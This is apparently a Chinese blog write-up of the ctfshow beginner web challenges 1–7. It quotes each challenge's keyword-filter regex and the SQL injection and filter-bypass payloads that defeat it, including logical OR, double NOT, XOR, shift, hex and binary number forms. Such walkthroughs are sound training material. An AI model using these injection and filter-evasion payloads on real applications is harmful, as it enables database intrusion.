87x00

导航

ctfshow萌新 web1-7

ctfshow萌新

web1

1.手动注入。需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000

2.找到?id=" "处有回显

3.注释掉后面的语句,得到flag

最终payload:

?id='1000'%23?sql=select * from article where id = ‘1000’ order by id limit 1

web2-4

过滤规则:

web2

web3

web4

过滤规则比上一题多了一些,这三个题目都可以用逻辑或绕过

?id=999 || id=1000

其他方式

减号:?id=999- -1
除号:?id=2000/2)
乘号:?id=250*4
或运算符:?id=999 || id=1000
左移运算符:?id=500<<1,左移一位表示乘二
十六进制数:?id=0x3e8

web5-7

用到的绕过:

异或运算符:?id=328^672
非运算符:?id=~~1000
二进制:?id=0b1111101000

web5

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|/<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
          die("id error");

逻辑或被ban了,这里用到逻辑非运算(非两次)

?id=~~1000

web6

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>
|\^(异或)|\!|x|hex|\(|\)|\+|select/i",$id)){
          die("id error");

异或运算被ban,用上一题中的非运算依旧可以过

web7

 if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!
|\~(逻辑非)|x|hex|\(|\)|\+|select/i",$id)){
          die("id error");

非运算被ban了,用二进制可以绕过

?id=0b1111101000

 

posted on 2022-01-18 18:09  87x00  阅读(370)  评论(0编辑  收藏  举报